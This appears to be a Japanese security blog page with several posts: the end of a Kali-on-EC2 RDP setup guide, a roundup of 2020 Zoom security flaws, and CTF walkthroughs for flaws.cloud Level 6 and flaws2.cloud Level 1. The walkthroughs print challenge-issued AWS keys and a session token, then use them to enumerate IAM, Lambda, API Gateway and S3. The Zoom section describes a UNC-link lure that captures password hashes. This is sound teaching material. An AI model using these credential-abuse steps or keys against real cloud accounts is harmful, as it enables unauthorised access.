~~~~~~~~~~~~~~~~~~~~~~~
;   port=vsock://:
port=3389
~~~~~~~~~~~~~~~~~~~~~~~

変更後
~~~~~~~~~~~~~~~~~~~~~~~
;   port=vsock://:
port=tcp://127.0.0.1:3389
~~~~~~~~~~~~~~~~~~~~~~~

設定を反映させるためにxrdpを再起動します。

kali@kali:~$ sudo systemctl restart xrdp

先ほど設定したポートがリッスンしているか確認します。

kali@kali:~$ netstat -an | grep 3389
tcp        0      0 127.0.0.1:3389          0.0.0.0:*               LISTEN

xrdpの自動起動設定をおこないます。

kali@kali:~$ sudo systemctl enable xrdp

RDP元のPCにSSHポートフォワーディング設定をおこないます。

> ssh -L 13389:localhost:3389 kali@EC2のIP -i 鍵の保管場所のパス

localhost:13389にRDPをおこなえば接続できるかと思います。 f:id:Chiko_gorilla:20201207102131p:plain

参考資料 mittaltarun9715.medium.com

まとめ

この環境を建てればいろいろセキュリティの勉強に使えたりしますのでいろいろ勉強に役立つかなと思います。
※「ハッキング・ラボのつくりかた」の環境にも対応可能です

AWS環境下での勉強時に注意したほうがいい内容は以下にまとまってますのでまず一読いただいて試してもらえればと思います。下手したらアカウントロックされちゃう可能性もあるので注意は必要かと思います。 aws.amazon.com

今後はKali Linuxのツールについてもまとめていこうと思っております。

2020-04-02

コロナによる在宅ワークで話題になったZoomセキュリティネタまとめ

セキュリティ Zoom コロナ在宅ワーク

新型コロナウイルス(COVID-19)の流行により、在宅ワークをおこなう方が多くなったかと思います。

そんな中、在宅ワークに不可欠なZoom、FaceTime、Skypeなどのビデオ会議ツールへの攻撃が世界的に流行っているようです。

特に人気で利用者も多いZoomは脆弱性が見つかるなどの問題が多く上がってきていますので個人的にまとめていこうと思います。

※今後Zoomを使う方へのあくまで注意してほしい内容です。
　使うな！とかじゃないですからね…

2020年4月3日までのZoom調査内容

Zoom社からメッセージがありました。 blog.zoom.us

記事の内容の抜粋

For the past several weeks, supporting this influx of users has been a tremendous undertaking and our sole focus. We have strived to provide you with uninterrupted service and the same user-friendly experience that has made Zoom the video-conferencing platform of choice for enterprises around the world, while also ensuring platform safety, privacy, and security. However, we recognize that we have fallen short of the community’s – and our own – privacy and security expectations. For that, I am deeply sorry, and I want to share what we are doing about it.

これをふまえてどんな問題があったかは以下に記載しています。

Zoomの人類皆家族(社長目線)問題

この問題を簡単に説明すると、気づかない間に約数千人の見知らぬユーザがすべて同じ会社に属しているように扱っており、見知らぬユーザ全員が参加可能なビデオ通話おこなっていたようです。

原因は、Zoomの「会社ディレクトリ」設定です。

本来ならば、サインアップした際会社のメールアドレスでログインをおこえば、同じメールアドレスのドメインを持つ同僚のユーザが連絡先リストに自動で追加される機能なのですが、個人の電子メールアドレスでサインアップした場合、同じメールドメインでログインしているユーザが連絡先リストに自動追加されるようです。

複数のZoomユーザが個人の電子メールアドレス(~~@gmail.com~~とか)でサインアップしていると、Zoomは同じメールドメインでログインしている何千人ものユーザを、同じ会社で働いているかのようにプールしてしまうので、個人情報を見ることやWEB会議に参加して情報を聞くことがお互いにできてしまいます。

参考記事 www.vice.com

"If you subscribe to Zoom with a non-standard provider (I mean, not Gmail or Hotmail or Yahoo etc), then you get insight to ALL subscribed users of that provider: their full names, their mail addresses, their profile picture (if they have any) and their status. And you can video call them," Gehrels said. A user still has to accept the call from the stranger for it to start, however.

gmail.comとかyahoo.co.jpとかメジャーなドメインはとかは対策されてました。

IOS版ZoomのFacebookデータ送信問題

リモートワークで注目を浴びていたZoomですが、
プライバシーポリシーに明確な記載がないですが、iOS版のZoomアプリに仕込まれたSDKを通じFacebookに端末データを送信していたという調査結果が報告されました。

記事によるとFacebookアカウントを持っていない場合でもFacebookにデータを送信しているようで、
iOS版のZoomアプリがFacebookにデータを送信している理由もプライベートポリシーに記載されていないため謎のままです。

この件について、Zoom広報は数日後に、「Facebook SDKが情報取得をしていることに気づかなかった」といっているようです。

詳細記事 www.vice.com

Windows版Zoomの脆弱性

ZoomのWindows版クライアントでは、ユーザのネットワーク認証情報が漏れる脆弱性が発見されました。

問題になったのは、テキストメッセージに含まれるURL文字列をハイパーリンク化するZoomの機能です。本来ならば、ユーザはWindowsネットワーク上にあるOutlookやファイルサーバのURLをクリックすればそこに簡単にアクセスできるメリットがあります。ただ、このZoomの機能はUNCと呼ばれるローカルのフォルダへアクセスするための文字列もハイパーリンク化してしまいます。

仮に¥¥ホスト名¥共有名¥パスといった文字列もアクセス可能なURLとして外部に共有してしまうため、これをクリックすればコンピューターはローカルにある場合と同じようにリモートからアクセスを試みてしまいます。

まぁつながりませんが…

しかし、攻撃者が¥¥攻撃者ホスト¥共有名¥C$といったUNCを投げてきたとき、相手がそのハイパーリンクをクリックさえすれば、攻撃者には相手のWindowsネットワーク上のユーザー名とパスワードハッシュが返されてしまいます。
この情報を手に入れた攻撃者は、Pass the Hashと呼ばれる一種のなりすまし攻撃が可能な状態になり、相手のPCやWindowsネットワークへの侵入の危険性が高まってしまいます。

参考記事 www.bleepingcomputer.com ※この記事には資格情報がリモートサーバーに送信されないようにする設定も記載されています！

japanese.engadget.com

2020年4月3日：Windows認証情報が盗まれる脆弱性が修正された pc.watch.impress.co.jp

MacOS版Zoomのゼロデイ

ZoomのMacOS版では2つのゼロデイが公開されました。

root権限への権限昇格

Zoomインストーラーは、権限付きの権限実行のAPIを呼び出して、さまざまな特権付きインストールタスクを実行できる状態になっているようです。

さらに恐ろしいのは、このインストールタスクにはroot権限への特権昇格につながる脆弱性を含まれてます。

Appleは権限付きの権限実行のAPIでは非推奨であり、使用すべきではないことを明確に述べていますが、APIはroot権限で実行されるバイナリを検証しないため、権限のない攻撃者またはマルウェアが、/ (root)ディレクトリ内の情報を改ざんまたは置換することで、root権限へ昇格できる可能性あります。

root権限へ昇格されるとMacOS内でできないことはなくなってしまいますので、
好きなだけ情報も盗まれてしまいます。

カメラとマイクの権限継承

ズームを使用するには、システムのマイクとカメラにアクセスする必要があります。
MacOSでは(最近のバージョン)、アクセス時にユーザの承認が必要となっています。

残念ながらZoomには、悪意のあるコードをプロセススペースに挿入できる特定のexclusionがあり、 Zoomの（マイクとカメラ）アクセス時に悪意のあるコードを一緒に流し込むことができます。

これにより、ZoomでおこなったWEBミーティングを記録したり、マイクとカメラに任意のタイミングで起動したり(PCの持ち主にアナウンスはされない)することも可能になってしまいます。

参考記事 https://objective-see.com/blog/blog_0x56.html

Zoomマルウェア

無茶苦茶人気なZoomなので、攻撃者たちはサイバー犯罪のターゲットとしているという記事もありました。

現在、Zoom関連のマルウェアの事例はほとんどありませんが、2月のみでアクティブなZoomユーザーが21％増加しているため、悪用はほぼ避けられないとのことです。

まぁ、現時点でまだ明確な事例がないので脳の片隅に置いとく程度でお願いします…

参考記事 www.hackread.com

ZoomBombing

どうしようもない嫌な連中が、Zoomの画面共有機能を使って、暴力的なものからえっちぃものを含む最低の動画を他の参加者に送りつけてくるやつですはい…

海外では学校のWEB授業中にあったらしいです。

参考 jp.techcrunch.com

対策

すべての会議をパスワードで保護します。
参加者用の待合室を作成します。
会議が始まる前に主催者が出席する必要があります。
開始した会議をロックします。
画面共有透かし。メールの一部を共有画面に配置します。
音声署名が必要–各会議参加者の資格情報を音声トラックに埋め込みます
参加者またはすべての参加者の記録を有効/無効にします。
新しいウィンドウが開いたときに画面の共有を一時的に停止します。
特定のメールドメインを持つ個人のみが参加できるようにします。
エンドツーエンドの暗号化で会議を保護します。

参考記事 www.secureworldexpo.com

エンドツーエンドの暗号化で会議を保護ですが、残念ながらZoomはサポートされていないようです。
Zoomの場合、「エンドツーエンド」という名の「トランスポート暗号化」らしいです。

参考記事 theintercept.com

終わりに

何かの参考になれば幸いです。

ちなみに、一度Zoomのアカウントを作成したらZoomからは逃げられないようです。

参考：「Zoom」が今も抱えるさまざまな問題 jp.techcrunch.com

2020-03-31

flaws.cloudでAWS環境にSSRF攻撃をやってみた Level 6

AWS セキュリティホワイトハッカーへの道 SSRF

この記事は下記のブログの続きです！過去の記事でおこなった手順は省略してますのでご注意ください。

chikoblog.hatenablog.jp

まだ、このシリーズの読んでいなければ先にLevel 1の記事をご覧ください。

chikoblog.hatenablog.jp

※この記事はflaws.cloudのやり方が載ってます。今後flaws.cloudにチャレンジ予定の方はネタバレになってしまいます。

Level 6

トップページはこんな感じです。 f:id:Chiko_gorilla:20200330194419p:plain

「For this final challenge, you're getting a user access key that has the SecurityAudit policy attached to it. See what else it can do and what else you might find in this AWS account. 」 Access key ID: AKIAJFQ6E7BY57Q3OBGA
Secret: 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

SecurityAuditポリシーが関連付けられたユーザーアクセスキーを取得しています。他に何ができるか、このAWSアカウントで他に何が見つかるかを確認してください。

今回の問題はAWSアカウントの情報はすでに持っていて、そこからほかに何ができるかを探っていく感じのようです。

とりあえず進めてみる

まずは、トップページにあったAWSアカウント情報をaws configureコマンドでプロファイルの登録をおこないます。

$ aws configure --profile flaws6
AWS Access Key ID [None]: AKIAJFQ6E7BY57Q3OBGA
AWS Secret Access Key [None]: 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
Default region name [None]: us-west-2
Default output format [None]:

先ほど作成したflaws6プロファイルを使い、aws iam get-userコマンドでIAMの情報を取得します。

$ aws iam get-user --profile flaws6
{
    "User": {
        "Path": "/",
        "UserName": "Level6",
        "UserId": "AIDAIRMDOSCWGLCDWOG6A",
        "Arn": "arn:aws:iam::975426262029:user/Level6",
        "CreateDate": "2017-02-26T23:11:16Z"
    }
}

ユーザ名がLevel6であることがわかりました。
次にやることは、IAMユーザLevel6に関連付けられているポリシーをaws iam list-attached-user-policiesコマンドで確認します。

$ aws iam list-attached-user-policies --user-name Level6 --profile flaws6
{
    "AttachedPolicies": [
        {
            "PolicyName": "list_apigateways",
            "PolicyArn": "arn:aws:iam::975426262029:policy/list_apigateways"
        },
        {
            "PolicyName": "MySecurityAudit",
            "PolicyArn": "arn:aws:iam::975426262029:policy/MySecurityAudit"
        }
    ]
}

IAMユーザLevel6にはlist_apigatewaysとMySecurityAudit、2つのポリシーがアタッチされていることがわかりました。

MySecurityAuditにつきましては、以下のAWSデフォルトポリシーを利用していそうです。 f:id:Chiko_gorilla:20200330230747p:plain

list_apigatewaysにつきましては、おそらくこのアカウント内で作られたオリジナルのポリシーかと思います。

先ほど実行したコマンドでPolicyArnがわかっていますので、aws iam get-policyコマンドの--policy-arnオプションを利用して、さらに詳細な情報を見てみます。

$ aws iam get-policy --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --profile flaws6
{
    "Policy": {
        "PolicyName": "list_apigateways",
        "PolicyId": "ANPAIRLWTQMGKCSPGTAIO",
        "Arn": "arn:aws:iam::975426262029:policy/list_apigateways",
        "Path": "/",
        "DefaultVersionId": "v4",
        "AttachmentCount": 1,
        "PermissionsBoundaryUsageCount": 0,
        "IsAttachable": true,
        "Description": "List apigateways",
        "CreateDate": "2017-02-20T01:45:17Z",
        "UpdateDate": "2017-02-20T01:48:17Z"
    }
}

DefaultVersionIdがv4とコマンド実行結果で帰ってきてますので、
こちらのバージョンIDのものが実際に適応されているポリシーかと思います。

aws iam get-policy-versionコマンドを利用してポリシーの中身を確認してみます。

$ aws iam get-policy-version --policy-arn arn:aws:iam::975426262029:policy/list_apigateways --version-id v4 --profile flaws6
{
    "PolicyVersion": {
        "Document": {
            "Version": "2012-10-17",
            "Statement": [
                {
                    "Action": [
                        "apigateway:GET"
                    ],
                    "Effect": "Allow",
                    "Resource": "arn:aws:apigateway:us-west-2::/restapis/*"
                }
            ]
        },
        "VersionId": "v4",
        "IsDefaultVersion": true,
        "CreateDate": "2017-02-20T01:48:17Z"
    }
}

赤字の部分の記載の通り、arn:aws:apigateway:us-west-2::/restapis/*からapigateway:GETを呼び出せそうな感じがします。

ここまでわかればあとはAPIGatewayと紐ずくLambdaの情報を確認するため、aws lambda list-functionsコマンドでまずは、Lambdaの関数名を確認します。

$ aws lambda list-functions --profile flaws6
{
    "Functions": [
        {
            "FunctionName": "Level6",
            "FunctionArn": "arn:aws:lambda:us-west-2:975426262029:function:Level6",
            "Runtime": "python2.7",
            "Role": "arn:aws:iam::975426262029:role/service-role/Level6",
            "Handler": "lambda_function.lambda_handler",
            "CodeSize": 282,
            "Description": "A starter AWS Lambda function.",
            "Timeout": 3,
            "MemorySize": 128,
            "LastModified": "2017-02-27T00:24:36.054+0000",
            "CodeSha256": "2iEjBytFbH91PXEMO5R/B9DqOgZ7OG/lqoBNZh5JyFw=",
            "Version": "$LATEST",
            "TracingConfig": {
                "Mode": "PassThrough"
            },
            "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
        }
    ]
}

FunctionNameがLevel6となっています。これでLambdaで利用されている関数名を判明しました。

次に確認するのは、関数に設定されたポリシーの内容です。こちらはaws lambda get-policyコマンドで確認ができます。

$ aws lambda get-policy --function-name Level6 --profile flaws6
{
    "Policy": {
        "Version":"2012-10-17",
        "Id":"default",
        "Statement":[
            {
                "Sid":"904610a93f593b76ad66ed6ed82c0a8b",
                "Effect":"Allow",
                "Principal":{
                    "Service":"apigateway.amazonaws.com"
                },
                "Action":"lambda:InvokeFunction",
                "Resource":"arn:aws:lambda:us-west-2:975426262029:function:Level6",
                "Condition":{
                    "ArnLike":{
                        "AWS:SourceArn":"arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6"
                    }
                }
            }
        ]
    }",
    "RevisionId": "22f08307-9080-4403-bf4d-481ddc8dcb89"
}

※こちら僕の方で見やすく整形しております。

赤字の部分にあるAWS:SourceArnの値を見ると、
arn:aws:execute-api:us-west-2:975426262029:s33ppypa75/*/GET/level6というARN情報が分かります。
このARNのs33ppypa75はrestapi_idかと思います。

仮にrestapi_idだとしたら、API GatewayでREST APIを呼び出すに記載されているように以下のURLでブラウザアクセスが可能になります。

https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/

Amazon API Gateway で REST API を呼び出す

現状、REST APIの呼び出しに必要な情報の内、手に入れていないの情報はstage_nameですので、aws apigateway get-stagesコマンドのオプション--rest-api-idでstage_nameを調べます。

$ aws apigateway get-stages --rest-api-id "s33ppypa75" --profile flaws6
{
    "item": [
        {
            "deploymentId": "8gppiv",
            "stageName": "Prod",
            "cacheClusterEnabled": false,
            "cacheClusterStatus": "NOT_AVAILABLE",
            "methodSettings": {},
            "tracingEnabled": false,
            "createdDate": 1488155168,
            "lastUpdatedDate": 1488155168
        }
    ]
}

どうやら、restapi_idはs33ppypa75でstage_nameはProdでいけそうですね。

先程のURLに当てはめてみると以下のようになるかと思います。
以下のURLをブラウザアクセスしてみます。

https://s33ppypa75.execute-api.us-west-2.amazonaws.com/Prod/level6

※ 一番最後のlevel6はREST APIで呼び出すLambda関数名です。

アクセスしたWEB画面に以下のような記載があります。 f:id:Chiko_gorilla:20200331022352p:plain

Go to http://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/

指示通りにhttp://theend-797237e8ada164bf9f12cebf93b282cf.flaws.cloud/d730aa2b/へブラウザアクセスします。

f:id:Chiko_gorilla:20200331022705p:plain

The End

Congratulations on completing the flAWS challenge!
Send me some feedback at scott@summitroute.com
Tweet and tell your friends about it if you learned something from it.

flAWSチャレンジの完了おめでとうございます！と出ているのでLevel 6クリアです！

やってみた感想

セキュリティを意識して、
問題にあったSecurityAuditポリシーのような、読み取り専用権限をユーザーやロールに与えることがよくあるかと思います。

読み取り専用権限しか与えていないから大丈夫！と思っていたら、今回の問題のように自分のIAMポリシーやほかのIAMポリシーから情報を読み取られてしまいますね。

攻撃者は実際の環境に存在するこういった読み取り権限のIAMポリシーでどこまで内容を見れるのかを理解していると外に出していない情報を探せちゃいますね。

flaws.cloudはこの記事で完結となります。皆様も興味があればやってみてください。

flaws.cloudの続編である、
flaws.cloud2があります。そちらも記事にしています！ chikoblog.hatenablog.jp

2020-03-15

flaws2.cloudをやってみた Attacker Level 1

flaws2.cloud AWS セキュリティホワイトハッカーへの道

※この記事はflaws2.cloudの解き方の一例が載ってます。
　今後flaws2.cloudにチャレンジ予定の方はネタバレになってしまいます。

flaws.cloudの続編⁉flaws2.cloudがあったのでそちらを解いてみました！

flaws2.cloudとは

f:id:Chiko_gorilla:20200313171454p:plain flaws2.cloud

AWS固有のセキュリティリスクに焦点を当てている実技問題が載っており、
それをゲーム形式で自ら手を動かし解いていくことでAWSのセキュリティ概念を学習できるサイトとなっております。

元のflaws.cloudと違い、flaws2.cloudは「Attacker」と「Defender」で問題が分かれています。 Attackerの問題では、サーバーレスサービスのLambdaやECS、Fargateの設定ミスを悪用し攻撃を模擬的におこなえます。 Defenderの問題は、ログの分析におけるjqの使い方、Athenaを使い解析する方法について紹介されているようです。

初めての方はAttackerから行うのを推奨しているので今回はAttacker Level 1の問題の解説をしていきます。

Attacker Level 1

トップページはこんな感じです。 f:id:Chiko_gorilla:20200315173627p:plain level1.flaws2.cloud

For this level, you'll need to enter the correct PIN code. The correct PIN is 100 digits long, so brute forcing it won't help.

Level 1では、正しいPINコードを入力する必要があります。
正しいPINは100桁の長さであるため、ブルートフォースアタックしても無駄ですよ〜って書いてありますね。

ひとまず、現状何も情報を得ていないので、色々調査をしていく必要がありますね。

flaws2のドメインである、level1.flaws2.cloudに対して、digコマンドを実行してこのページがなんのAWSサービスを利用しているかみてみます。

$ dig any level1.flaws2.cloud +short
52.216.207.122
$ dig any -x 52.216.207.122 +short
s3-website-us-east-1.amazonaws.com.

PTRレコード情報が抜けました。
とりあえずS3バケットを利用していそうってことは分かりました。

s3 lsコマンドを実行してな内容が確認できるかやってみます。

$ aws s3 ls s3://level1.flaws2.cloud

An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

権限がないと言われているので、S3バケットの内容は確認できないようです。

他に何か情報が盗み取れないか、色々試してみます。
次にやってみるのはのトップページに乗っているコードに適当な文字を入れてみてどんなエラーが出るかみてみたいと思います。 f:id:Chiko_gorilla:20200315175111p:plain

まずは適当な数字を入力します。 f:id:Chiko_gorilla:20200315175455p:plain

再実行をうながされてしまいます。次に適当な文字「chiko」と入力してみました。 f:id:Chiko_gorilla:20200315175608p:plain

数字を入力しろって言われますね、この辺で簡単にヒントをくれるようなサイトではないようです。

次にソースコード内に何か載っていないかみてみます。
右クリックでソースページを表示してみます。 51行目くらいに以下のようなJavaScriptが書かれていました。

            <script type="text/javascript">
                function validateForm() {
                    var code = document.forms["myForm"]["code"].value;
                    if (!(!isNaN(parseFloat(code)) && isFinite(code))) {
                        alert("Code must be a number");
                        return false;
                    }
                }
            </script>

フォームに入力された値が数字かどうかをチェックするバリデーションが設定されているように思えます。

65行目〜69行目に上記の記述に紐ずいていそうな内容が書いてあります。

            <form name="myForm" action="https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1" onsubmit="return validateForm()">
                Code: <input type="text" name="code" value="1234">
                <br><br>
                <input type="submit" value="Submit">
            </form>

サブミットしているURLはhttps://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1のようです。
このURLに数字以外の文字を直接HTTPリクエストで送ればバリデーションには引っかからなさそうです。
試しに以下のURLでブラウザアクセスしてみます。

https://2rfismmoo8.execute-api.us-east-1.amazonaws.com/default/level1?code=chiko

エラー画面が出てきました。 f:id:Chiko_gorilla:20200315181704p:plain

見づらいのでjqしました。

{
  "PATH": "/var/lang/bin:/usr/local/bin:/usr/bin/:/bin:/opt/bin",
  "LD_LIBRARY_PATH": "/var/lang/lib:/lib64:/usr/lib64:/var/runtime:/var/runtime/lib:/var/task:/var/task/lib:/opt/lib",
  "LANG": "en_US.UTF-8",
  "TZ": ":UTC",
  "LAMBDA_TASK_ROOT": "/var/task",
  "LAMBDA_RUNTIME_DIR": "/var/runtime",
  "AWS_REGION": "us-east-1",
  "AWS_DEFAULT_REGION": "us-east-1",
  "AWS_LAMBDA_LOG_GROUP_NAME": "/aws/lambda/level1",
  "AWS_LAMBDA_LOG_STREAM_NAME": "2020/03/15/[$LATEST]640339acb1e34b1eaa7c8d3727f1a4d5",
  "AWS_LAMBDA_FUNCTION_NAME": "level1",
  "AWS_LAMBDA_FUNCTION_MEMORY_SIZE": "128",
  "AWS_LAMBDA_FUNCTION_VERSION": "$LATEST",
  "_AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2",
  "_AWS_XRAY_DAEMON_PORT": "2000",
  "AWS_XRAY_DAEMON_ADDRESS": "169.254.79.2:2000",
  "AWS_XRAY_CONTEXT_MISSING": "LOG_ERROR",
  "_X_AMZN_TRACE_ID": "Root=1-5e6df266-003e20d895498d9ee6c0357a;Parent=21398fd6380e68d6;Sampled=0",
  "AWS_EXECUTION_ENV": "AWS_Lambda_nodejs8.10",
  "_HANDLER": "index.handler",
  "NODE_PATH": "/opt/nodejs/node8/node_modules:/opt/nodejs/node_modules:/var/runtime/node_modules:/var/runtime:/var/task:/var/runtime/node_modules",
  "AWS_ACCESS_KEY_ID": "ASIAZQNB3KHGGRAPDGC2",
  "AWS_SECRET_ACCESS_KEY": "L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m",
  "AWS_SESSION_TOKEN": "IQoJb3JpZ2luX2VjEIn//////////wEaCXVzLWVhc3QtMSJHMEUCIHCz7mtB1p3FPf96jq3Rogv4ewQlL334CFojLjjI3oTQAiEAwL9Lmrl9iLLE1WBDvnH9KnGZmJ/nRoY0kd907kS1gTIqxQEIchABGgw2NTM3MTEzMzE3ODgiDHwlJBwPIrbJftghpSqiAXSnEtzbu+pHgMuRuQtv5JaSffXKr6arafnwcIefhH7RxxvcDa7QxFv7XT2wGAfAvF8KMmJzRof0rNXIUPfpu+eBy212zO6cdEDbmETq0fAzEDUFWpYFtTgzZtY7JjuWhgxvw2nOdAbkIf675q/vC2H0DTdQjjwjDJYc/bbnv9sq9qQbi01j9Cfm6tvGpp1chyb7JTV+nqSCF/Yswq2pG3VdYzCE2LfzBTrgATTrkUB8FODKFUK+ZZ1d1iZ58TtcE9saQoEqz3WOUiADwpJC2P5IbE75uBVHiLDroWDYnJVh5wqCYmqVb/tToI9Zn02gGnB0X80SAf0o0GjHq8kK7d11gaCXguYu76zWg5neooy/CvkYb8bJUnYyw2vFJY98YlilRpqIP767Hc9CXxxD/Jceqs3N6JLrJSyI4h7evOEXhmKa6dIo9ehwx9ryc6bu1ritOhSAiJGyCU6UFU1euqdWYeCiG+bAkIO1kMboJssag9j6ORI5JBPoOb2d45vZShOSVumEiUm/JGvc"
}

恐ろしいことにこのエラー画面にはAWS_ACCESS_KEY_IDとAWS_SECRET_ACCESS_KEYさらにAWS_SESSION_TOKENが記載されています。

手に入れた情報をもとにaws configureコマンドでプロファイルを作成します。

$ aws configure --profile flaws2_1
AWS Access Key ID [None]: ASIAZQNB3KHGGRAPDGC2
AWS Secret Access Key [None]: L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m
Default region name [None]: us-east-1
Default output format [None]:

次にAWS_SESSION_TOKENを登録します。

$ vim .aws/credentials
[flaws2_1]
aws_access_key_id = ASIAZQNB3KHGGRAPDGC2
aws_secret_access_key = L71VBO2kFSru+gsN93wlgO6vqwgRtT+fxRoDwK3m
aws_session_token = IQoJb3JpZ2luX2VjEIn//////////wEaCXVzLWVhc3QtMSJHMEUCIHCz7mtB1p3FPf96jq3Rogv4ewQlL334CFojLjjI3oTQAiEAwL9Lmrl9iLLE1WBDvnH9KnGZmJ/nRoY0kd907kS1gTIqxQEIchABGgw2NTM3MTEzMzE3ODgiDHwlJBwPIrbJftghpSqiAXSnEtzbu+pHgMuRuQtv5JaSffXKr6arafnwcIefhH7RxxvcDa7QxFv7XT2wGAfAvF8KMmJzRof0rNXIUPfpu+eBy212zO6cdEDbmETq0fAzEDUFWpYFtTgzZtY7JjuWhgxvw2nOdAbkIf675q/vC2H0DTdQjjwjDJYc/bbnv9sq9qQbi01j9Cfm6tvGpp1chyb7JTV+nqSCF/Yswq2pG3VdYzCE2LfzBTrgATTrkUB8FODKFUK+ZZ1d1iZ58TtcE9saQoEqz3WOUiADwpJC2P5IbE75uBVHiLDroWDYnJVh5wqCYmqVb/tToI9Zn02gGnB0X80SAf0o0GjHq8kK7d11gaCXguYu76zWg5neooy/CvkYb8bJUnYyw2vFJY98YlilRpqIP767Hc9CXxxD/Jceqs3N6JLrJSyI4h7evOEXhmKa6dIo9ehwx9ryc6bu1ritOhSAiJGyCU6UFU1euqdWYeCiG+bAkIO1kMboJssag9j6ORI5JBPoOb2d45vZShOSVumEiUm/JGvc

作成したプロファイルを使い、aws s3 lsコマンドで再度S3バケットの中身を確認してみます。

$ aws s3 ls s3://level1.flaws2.cloud --profile flaws2_1 
                           PRE img/
2018-11-21 05:55:05      17102 favicon.ico
2018-11-21 11:00:22       1905 hint1.htm
2018-11-21 11:00:22       2226 hint2.htm
2018-11-21 11:00:22       2536 hint3.htm
2018-11-21 11:00:23       2460 hint4.htm
2018-11-21 11:00:17       3000 index.htm
2018-11-21 11:00:17       1899 secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.html

明らかに怪しいsecret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.htmlを開いてみます。

http://level1.flaws2.cloud/secret-ppxVFdwV4DDtZm8vbQRvhxL8mE6wxNco.htmlでブラウザアクセスします。 f:id:Chiko_gorilla:20200315190101p:plain

Level 2へのURLが記載されています。
Level 1クリアとなります！

やってみた感想

解説にも書いてありましたが、サーバレスサービスは環境変数からIAMロールの認証情報を取得します。エラー状態が発生したときに環境変数をダンプして、それを見て問題のデバッグをおこなえるようになっているからだそうです。
ただ、この仕様を理解していないで利用していると、今回の問題のように環境変数に機密情報が含まれることがあるため、意図しない第三者に情報が盗まれる危険がありますね。

また、今回の問題のように環境変数に表示されるサーバレスサービスのIAMロールに、必要な操作以外に不要な操作権限を与えてしまうと情報が漏洩した際に色々やられてしまいます。

AWSのベストプラクティスは、目的を達成するために必要なIAMポリシーで最小限の特権のみをサービスに付与するとありますので、これはしっかりと意識してIAMポリシーを作成しないといけませんね。

皆様も一度やってみてはいかがでしょうか？

また、過去にflaws.cloudの解説も上げてますので気になる方はこちらも見ていただけると幸いです。

chikoblog.hatenablog.jp

フットプリンティングとは

フットプリンティングの目的と取得できる主な情報

WEBブラウザを使ったフットプリンティングの方法

検索エンジンを利用したフットプリンティング

WEBサービスの利用したフットプリンティング

WEBサイトフットプリンティング

まとめ

RI とは

RI対象のAWS サービス

RI の利用にあたり

RI 購入時に必要な項目

RI 利用に適したシーン

EC2 RI の提供タイプ「Standard」と「Convertible」の違い

RI 利用時の注意点

RI 購入時インスタンス ファミリー内の小さいインスタンスタイプから順に適応される

RI 購入・再購入について

同じ組織の別アカウントに自動的に適用されてしまう

RI とインスタンスID の紐付きについて

インスタンスの稼働・停止時の料金について

購入したRI のスペックを変更したらどうなるのか

有効期限の違うRI は結合はできません

購入時の注意点

準備するもの

VPCの作成

Kali Linux EC2の作成

テスト用Attackサーバの作成

セキュアなサブネットに移動する

Kali LinuxからNiktoの実行

☆付録☆EC2に建てたKali LinuxにRDP接続する方法

まとめ

2020年4月3日までのZoom調査内容

Zoomの人類皆家族(社長目線)問題

IOS版ZoomのFacebookデータ送信問題

Windows版Zoomの脆弱性

MacOS版Zoomのゼロデイ

root権限への権限昇格

カメラとマイクの権限継承

Zoomマルウェア

ZoomBombing

対策

終わりに

Level 6

とりあえず進めてみる

The End

やってみた感想

flaws2.cloudとは

Attacker Level 1

やってみた感想

RI 購入時インスタンスファミリー内の小さいインスタンスタイプから順に適応される